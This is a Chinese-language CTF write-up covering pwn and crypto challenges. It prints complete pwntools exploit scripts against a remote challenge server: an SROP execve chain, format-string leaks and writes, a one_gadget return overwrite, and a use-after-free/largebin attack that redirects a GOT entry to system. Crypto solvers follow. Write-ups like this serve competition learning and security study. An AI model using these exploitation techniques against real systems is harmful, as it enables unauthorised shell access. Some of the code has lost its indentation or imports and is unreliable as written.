PWN

Pwn-asm

直接进行ida分析，寻找存在的漏洞

存在syscall的漏洞报告，先编写exp进行测试

from pwn import *

context(log_level='debug', arch='x86_64')

target = remote('101.200.58.4', 10001)

binary = ELF('./pwn')

sigreturn_frame = SigreturnFrame()

sigreturn_frame.rax = constants.SYS_execve

sigreturn_frame.rdi = 0x40200A # Address of "/bin/sh"

sigreturn_frame.rsi = 0

sigreturn_frame.rdx = 0

sigreturn_frame.rip = 0x40102D

payload = p64(0x40103D) + (p64(0x401034) + p64(0x401030)) * 3

payload += p64(0x401034) + p64(0x40102D) + bytes(sigreturn_frame)

target.send(payload)

target.interactive()

放进kali一起运行

Pwn-ret

直接寻找main函数

尝试爆破

编写exp脚本

from pwn import *

context.arch = 'amd64'

context.os = 'linux'

context.log_level = 'debug'

libc = ELF('./libc.so.6')

while True:

conn = remote('101.200.58.4', 10004)

conn.recvuntil(b'ask')

pop_rdi = 0x0000000000400923

conn.send(b'%3$p')

conn.recvuntil(b'0x')

libc_base = int(conn.recv(12), 16) - 0x110031

libc.address = libc_base

print("libc_base:", hex(libc_base))

bin_sh = next(libc.search(b'/bin/sh\x00'))

system_addr = libc.sym['system']

one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc][1] + libc_base

conn.recvuntil(b'ok,')

num = int(conn.recvuntil(b' '))

print(num)

if num < 144:

continue

conn.recvuntil(b'number')

payload = b'a' * 0x88 + p64(one_gadget)

conn.sendline(payload)

conn.interactive()

放入kali中与所给文档一起运行，最终得到flag

Pwn-normal

发现格式化漏洞

编写exp，进行远程能连接服务器，进行处理，编写exp

from pwn import *

context(os='linux', arch='arm', log_level='debug')

remote_conn = remote("101.200.58.4", 5555)

def make_choice(index):

remote_conn.sendlineafter(b'our choice: ', str(index))

def allocate(index, size):

make_choice(97)

remote_conn.sendlineafter(b'index: ', str(index))

remote_conn.sendlineafter(b'a size: ', str(size))

def update(index, data):

make_choice(101)

remote_conn.sendlineafter(b'a index: ', str(index))

remote_conn.sendlineafter(b'content', data)

def show(index):

make_choice(115)

remote_conn.sendlineafter(b'ta index: ', str(index))

allocate(0, 0x18)

update(0, b'%9$p')

show(0)

remote_conn.recvuntil(b'ontent: ')

base_address = int(remote_conn.recv(12), 16) - 0xea0

update(0, b'%8$p')

show(0)

remote_conn.recvuntil(b'ontent: ')

stack_pointer = int(remote_conn.recv(12), 16)

format_string = "%{}c%{}$hn".format((stack_pointer - 0x18) & 0xffff, 8)

update(0, format_string.encode())

show(0)

format_string = "%{}c%{}$hn".format((base_address + 0xd40) & 0xffff, 12)

update(0, format_string.encode())

show(0)

remote_conn.interactive()

Pwn-no fmtstr

首先先找一下main函数

寻找到uaf的漏洞

编写exp

from pwn import *

FILENAME = '../pwn'

binary = ELF(FILENAME)

libc = binary.libc

server_ip = "101.200.58.4"

server_port = 2222

process = remote(server_ip, server_port)

def send_command(option):

process.recvuntil(b'>')

process.sendline(str(option).encode('utf-8'))

def create_object(index, size):

send_command(1)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

process.recvuntil(b'Size')

process.sendline(str(size).encode('utf-8'))

def release_object(index):

send_command(2)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

def modify_object(index, content):

send_command(3)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

process.recvuntil(b'Content')

process.send(content)

def display_object(index):

send_command(4)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

create_object(0, 0x510)

create_object(1, 0x510)

create_object(2, 0x500)

release_object(0)

display_object(0)

libc_base = u64(process.recvline().strip().ljust(8, b'\x00')) - 0x1f6cc0

create_object(3, 0x530)

release_object(2)

fake_fd = 0x1f70f0 + libc_base

fake_mp = libc_base + 0x1f63a0 + 0x8

modify_object(0, p64(fake_fd) + p64(0) * 2 + p64(fake_mp - 0x20))

create_object(4, 0x530)

release_object(4)

target = 0x4040e0

modify_object(0, b'\x00' * 0x80 + p64(target))

create_object(5, 0x530)

modify_object(5, p64(0x404000))

system_address = libc_base + libc.symbols['system']

modify_object(0, p64(system_address))

modify_object(4, b'/bin/sh\x00')

release_object(4)

process.interactive()

最后放到kali中与文件在一起运行得到flag

Crypto

Crypto-just_math

这是一个函数的加密方式，他的主函数是rsam和calc两个函数

n和e是RSA公钥的组织部分，v2和v3分别是v1的一次的二次导的数值

编写exp进行解码

from Crypto.Util.number import long_to_bytes

import gmpy2

ciphertext = 19246358892107739247113785229658542078430514721465131949167831670611624580906373552504812725817038734784405792985200364740451710657921959959746582283869697802105794308781512926117028871880416690692644601562681708853541784693891328384508343984930181682037424261938223793094459681013109815200480275899139534149459627433347692521885734369708394139148153730959741849311837888899690779478585666855429821591221553873937831095720715148525794252576976891489499479497861512

modulus = 2260375559104345425590426977960386256287009777233277062625487017885931446911942921201492850167115455071935831283269948569220356763988762825230315520633702443866690239945242948370781975714325308306543337600783340792458991506685843729962897796956171467876531084194426101796617903015810156717396227079274786269217370618477266867389155551378798713259843750289765858717627925689021561352438080039804957145513478767641674644346609224034274906228784593435462413278410143

for trial_index in range(2**21):

adjusted_value = ciphertext + trial_index * modulus

if gmpy2.iroot(adjusted_value, 3)[1]:

result = long_to_bytes(gmpy2.iroot(adjusted_value, 3)[0])

print(result)

得到flag

Crypto-不小心

这是一道类似的题目，直接一把梭哈

[[河北银行 2022 CTF]_ctf银行-CSDN博客](https://blog.csdn.net/weixin_52640415/article/details/126627810" \t "_blank)

# coding:utf-8

# python 3.6

# 用于编码的字符串

encoding_table = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"

# 基64编码表

base64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='

# 待编码的标志

flag = "DASCTF{"

# 定义编码函数

def custom_encode(input_string):

binary_representation = []

for char in input_string:

binary_value = str(bin(ord(char))).replace('0b', '')

binary_representation.append('{:0>8}'.format(binary_value))

encoded_output = ""

padding_count = 0

while binary_representation:

current_chunk = binary_representation[:3]

if len(current_chunk) != 3:

padding_count = 3 - len(current_chunk)

while len(current_chunk) < 3:

current_chunk += ['0' * 8]

concatenated_binary = "".join(current_chunk)

chunked_values = []

for index in range(0, 4):

chunked_values.append(int(concatenated_binary[index * 6:(index + 1) * 6], 2))

if padding_count:

chunked_values = chunked_values[0:4 - padding_count]

for value in chunked_values:

encoded_output += encoding_table[value]

binary_representation = binary_representation[3:]

encoded_output += padding_count * '='

return encoded_output

# 待解码的字符串

encoded_string = '+Se++h+mFYVPJv+zb+SYK+V4dvKRKQSXJ+uzJ++zJ+uRK3JXK+bYG+'

# 解码过程

decoded_message = ''

for character in encoded_string:

index_in_encoding_table = encoding_table.index(character)

decoded_message += base64_table[index_in_encoding_table]

# 打印解码信息

print(decoded_message)

# 基64解码辅助函数

def decode_helper(index, base64_segment):

if index >= 4:

try:

decoded_bytes = b64decode(base64_segment)

except:

return

valid_characters = b'0123456789abcdef-_{}'

if all(byte in valid_characters for byte in decoded_bytes):

print("xxx ", decoded_bytes)

return

if base64_segment[index] == 'Q':

for char in "QRSTU":

if index == 0:

decode_helper(index + 1, char + base64_segment[1:])

elif index == 3:

decode_helper(index + 1, base64_segment[:3] + char)

else:

decode_helper(index + 1, base64_segment[:index] + char + base64_segment[index + 1:])

else:

decode_helper(index + 1, base64_segment)

# 待解码的base64字符串

base64_encoded_message = 'QEFQQ1QGezc4YWQhMQEzZQcwOWZkZjEyYQVhYQQhYQVkZDYyZQMzfQ=='

base64_encoded_message = base64_encoded_message[8:] # 跳过前缀

# 解码并打印每一段

for segment_start in range(0, len(base64_encoded_message), 4):

print('---------', segment_start, base64_encoded_message[segment_start: segment_start + 4])

decode_helper(0, base64_encoded_message[segment_start: segment_start + 4])

最终得到flag

flag

Crypto-base

打开发现全是表情包

进行base100解密

看特征应该是base64解密

用千千秀子是乱码，应该是工具的问题

再进行解密

再进行base91解码

还没出来再次进行尝试

再经过一次base62解码

在出自中再进行解码

得到flag

Crypto-easy_crypto

在网上找到了原题，参考一下

攻防世界 crypto---simpleRSA wp_攻防世界simplersa-CSDN博客

3

得到flag